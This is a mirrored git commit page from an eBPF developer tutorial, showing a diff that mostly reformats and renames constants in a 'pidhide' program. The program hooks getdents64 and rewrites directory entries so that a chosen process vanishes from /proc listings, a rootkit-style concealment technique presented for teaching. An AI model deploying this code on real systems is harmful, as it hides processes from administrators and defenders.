mirror of
https://github.com/eunomia-bpf/bpf-developer-tutorial.git
synced 2026-02-03 10:14:44 +08:00
Deploying to gh-pages from @ eunomia-bpf/bpf-developer-tutorial@3a67878cff 🚀
This commit is contained in:
@@ -253,7 +253,7 @@ const volatile int target_ppid = 0;
|
||||
// of the PID to hide. This becomes the name
|
||||
// of the folder in /proc/
|
||||
const volatile int pid_to_hide_len = 0;
|
||||
const volatile char pid_to_hide[max_pid_len];
|
||||
const volatile char pid_to_hide[MAX_PID_LEN];
|
||||
|
||||
// struct linux_dirent64 {
|
||||
// u64 d_ino; /* 64-bit inode number */
|
||||
@@ -321,7 +321,7 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
|
||||
struct linux_dirent64 *dirp = 0;
|
||||
int pid = pid_tgid >> 32;
|
||||
short unsigned int d_reclen = 0;
|
||||
char filename[max_pid_len];
|
||||
char filename[MAX_PID_LEN];
|
||||
|
||||
unsigned int bpos = 0;
|
||||
unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
|
||||
@@ -395,7 +395,7 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
|
||||
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
|
||||
|
||||
// Debug print
|
||||
char filename[max_pid_len];
|
||||
char filename[MAX_PID_LEN];
|
||||
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
|
||||
filename[pid_to_hide_len-1] = 0x00;
|
||||
bpf_printk("[PID_HIDE] filename previous %s\n", filename);
|
||||
|
||||
@@ -3,18 +3,20 @@
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
#include "common.h"
|
||||
#include "pidhide.h"
|
||||
|
||||
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
||||
|
||||
// Ringbuffer Map to pass messages from kernel to user
|
||||
struct {
|
||||
struct
|
||||
{
|
||||
__uint(type, BPF_MAP_TYPE_RINGBUF);
|
||||
__uint(max_entries, 256 * 1024);
|
||||
} rb SEC(".maps");
|
||||
|
||||
// Map to fold the dents buffer addresses
|
||||
struct {
|
||||
struct
|
||||
{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 8192);
|
||||
__type(key, size_t);
|
||||
@@ -23,7 +25,8 @@ struct {
|
||||
|
||||
// Map used to enable searching through the
|
||||
// data in a loop
|
||||
struct {
|
||||
struct
|
||||
{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 8192);
|
||||
__type(key, size_t);
|
||||
@@ -31,7 +34,8 @@ struct {
|
||||
} map_bytes_read SEC(".maps");
|
||||
|
||||
// Map with address of actual
|
||||
struct {
|
||||
struct
|
||||
{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 8192);
|
||||
__type(key, size_t);
|
||||
@@ -39,7 +43,8 @@ struct {
|
||||
} map_to_patch SEC(".maps");
|
||||
|
||||
// Map to hold program tail calls
|
||||
struct {
|
||||
struct
|
||||
{
|
||||
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
|
||||
__uint(max_entries, 5);
|
||||
__type(key, __u32);
|
||||
@@ -53,14 +58,14 @@ const volatile int target_ppid = 0;
|
||||
// of the PID to hide. This becomes the name
|
||||
// of the folder in /proc/
|
||||
const volatile int pid_to_hide_len = 0;
|
||||
const volatile char pid_to_hide[max_pid_len];
|
||||
const volatile char pid_to_hide[MAX_PID_LEN];
|
||||
|
||||
// struct linux_dirent64 {
|
||||
// u64 d_ino; /* 64-bit inode number */
|
||||
// u64 d_off; /* 64-bit offset to next structure */
|
||||
// unsigned short d_reclen; /* Size of this dirent */
|
||||
// unsigned char d_type; /* File type */
|
||||
// char d_name[]; /* Filename (null-terminated) */ };
|
||||
// char d_name[]; /* Filename (null-terminated) */ };
|
||||
// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
|
||||
SEC("tp/syscalls/sys_enter_getdents64")
|
||||
int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)
|
||||
@@ -68,10 +73,12 @@ int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)
|
||||
size_t pid_tgid = bpf_get_current_pid_tgid();
|
||||
// Check if we're a process thread of interest
|
||||
// if target_ppid is 0 then we target all pids
|
||||
if (target_ppid != 0) {
|
||||
if (target_ppid != 0)
|
||||
{
|
||||
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
|
||||
int ppid = BPF_CORE_READ(task, real_parent, tgid);
|
||||
if (ppid != target_ppid) {
|
||||
if (ppid != target_ppid)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
@@ -92,13 +99,15 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
|
||||
size_t pid_tgid = bpf_get_current_pid_tgid();
|
||||
int total_bytes_read = ctx->ret;
|
||||
// if bytes_read is 0, everything's been read
|
||||
if (total_bytes_read <= 0) {
|
||||
if (total_bytes_read <= 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Check we stored the address of the buffer from the syscall entry
|
||||
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid);
|
||||
if (pbuff_addr == 0) {
|
||||
long unsigned int *pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid);
|
||||
if (pbuff_addr == 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -111,29 +120,35 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
|
||||
struct linux_dirent64 *dirp = 0;
|
||||
int pid = pid_tgid >> 32;
|
||||
short unsigned int d_reclen = 0;
|
||||
char filename[max_pid_len];
|
||||
char filename[MAX_PID_LEN];
|
||||
|
||||
unsigned int bpos = 0;
|
||||
unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
|
||||
if (pBPOS != 0) {
|
||||
if (pBPOS != 0)
|
||||
{
|
||||
bpos = *pBPOS;
|
||||
}
|
||||
|
||||
for (int i = 0; i < 200; i ++) {
|
||||
if (bpos >= total_bytes_read) {
|
||||
for (int i = 0; i < 200; i++)
|
||||
{
|
||||
if (bpos >= total_bytes_read)
|
||||
{
|
||||
break;
|
||||
}
|
||||
dirp = (struct linux_dirent64 *)(buff_addr+bpos);
|
||||
dirp = (struct linux_dirent64 *)(buff_addr + bpos);
|
||||
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
|
||||
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
|
||||
|
||||
int j = 0;
|
||||
for (j = 0; j < pid_to_hide_len; j++) {
|
||||
if (filename[j] != pid_to_hide[j]) {
|
||||
for (j = 0; j < pid_to_hide_len; j++)
|
||||
{
|
||||
if (filename[j] != pid_to_hide[j])
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (j == pid_to_hide_len) {
|
||||
if (j == pid_to_hide_len)
|
||||
{
|
||||
// ***********
|
||||
// We've found the folder!!!
|
||||
// Jump to handle_getdents_patch so we can remove it!
|
||||
@@ -148,7 +163,8 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
|
||||
|
||||
// If we didn't find it, but there's still more to read,
|
||||
// jump back the start of this function and keep looking
|
||||
if (bpos < total_bytes_read) {
|
||||
if (bpos < total_bytes_read)
|
||||
{
|
||||
bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
|
||||
bpf_tail_call(ctx, &map_prog_array, PROG_01);
|
||||
}
|
||||
@@ -163,8 +179,9 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
|
||||
{
|
||||
// Only patch if we've already checked and found our pid's folder to hide
|
||||
size_t pid_tgid = bpf_get_current_pid_tgid();
|
||||
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
|
||||
if (pbuff_addr == 0) {
|
||||
long unsigned int *pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
|
||||
if (pbuff_addr == 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -176,17 +193,17 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
|
||||
short unsigned int d_reclen_previous = 0;
|
||||
bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);
|
||||
|
||||
struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
|
||||
struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr + d_reclen_previous);
|
||||
short unsigned int d_reclen = 0;
|
||||
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
|
||||
|
||||
// Debug print
|
||||
char filename[max_pid_len];
|
||||
char filename[MAX_PID_LEN];
|
||||
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
|
||||
filename[pid_to_hide_len-1] = 0x00;
|
||||
filename[pid_to_hide_len - 1] = 0x00;
|
||||
bpf_printk("[PID_HIDE] filename previous %s\n", filename);
|
||||
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
|
||||
filename[pid_to_hide_len-1] = 0x00;
|
||||
filename[pid_to_hide_len - 1] = 0x00;
|
||||
bpf_printk("[PID_HIDE] filename next one %s\n", filename);
|
||||
|
||||
// Attempt to overwrite
|
||||
@@ -196,7 +213,8 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
|
||||
// Send an event
|
||||
struct event *e;
|
||||
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
|
||||
if (e) {
|
||||
if (e)
|
||||
{
|
||||
e->success = (ret == 0);
|
||||
e->pid = (pid_tgid >> 32);
|
||||
bpf_get_current_comm(&e->comm, sizeof(e->comm));
|
||||
|
||||
@@ -13,14 +13,7 @@
|
||||
#include <fcntl.h>
|
||||
|
||||
#include "pidhide.skel.h"
|
||||
#include "common.h"
|
||||
|
||||
// These are used by a number of
|
||||
// different programs to sync eBPF Tail Call
|
||||
// login between user space and kernel
|
||||
#define PROG_00 0
|
||||
#define PROG_01 1
|
||||
#define PROG_02 2
|
||||
#include "pidhide.h"
|
||||
|
||||
// Setup Argument stuff
|
||||
static struct env
|
||||
@@ -44,6 +37,7 @@ static const struct argp_option opts[] = {
|
||||
{"target-ppid", 't', "TARGET-PPID", 0, "Optional Parent PID, will only affect its children."},
|
||||
{},
|
||||
};
|
||||
|
||||
static error_t parse_arg(int key, char *arg, struct argp_state *state)
|
||||
{
|
||||
switch (key)
|
||||
@@ -74,6 +68,7 @@ static error_t parse_arg(int key, char *arg, struct argp_state *state)
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static const struct argp argp = {
|
||||
.options = opts,
|
||||
.parser = parse_arg,
|
||||
|
||||
@@ -5,10 +5,20 @@
|
||||
// Simple message structure to get events from eBPF Programs
|
||||
// in the kernel to user spcae
|
||||
#define TASK_COMM_LEN 16
|
||||
struct event {
|
||||
#define MAX_PID_LEN 16
|
||||
|
||||
// These are used by a number of
|
||||
// different programs to sync eBPF Tail Call
|
||||
// login between user space and kernel
|
||||
#define PROG_00 0
|
||||
#define PROG_01 1
|
||||
#define PROG_02 2
|
||||
|
||||
struct event
|
||||
{
|
||||
int pid;
|
||||
char comm[TASK_COMM_LEN];
|
||||
bool success;
|
||||
};
|
||||
|
||||
#endif // BAD_BPF_COMMON_H
|
||||
#endif // BAD_BPF_COMMON_H
|
||||
@@ -6200,7 +6200,7 @@ const volatile int target_ppid = 0;
|
||||
// of the PID to hide. This becomes the name
|
||||
// of the folder in /proc/
|
||||
const volatile int pid_to_hide_len = 0;
|
||||
const volatile char pid_to_hide[max_pid_len];
|
||||
const volatile char pid_to_hide[MAX_PID_LEN];
|
||||
|
||||
// struct linux_dirent64 {
|
||||
// u64 d_ino; /* 64-bit inode number */
|
||||
@@ -6268,7 +6268,7 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
|
||||
struct linux_dirent64 *dirp = 0;
|
||||
int pid = pid_tgid >> 32;
|
||||
short unsigned int d_reclen = 0;
|
||||
char filename[max_pid_len];
|
||||
char filename[MAX_PID_LEN];
|
||||
|
||||
unsigned int bpos = 0;
|
||||
unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
|
||||
@@ -6342,7 +6342,7 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
|
||||
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
|
||||
|
||||
// Debug print
|
||||
char filename[max_pid_len];
|
||||
char filename[MAX_PID_LEN];
|
||||
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
|
||||
filename[pid_to_hide_len-1] = 0x00;
|
||||
bpf_printk("[PID_HIDE] filename previous %s\n", filename);
|
||||
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user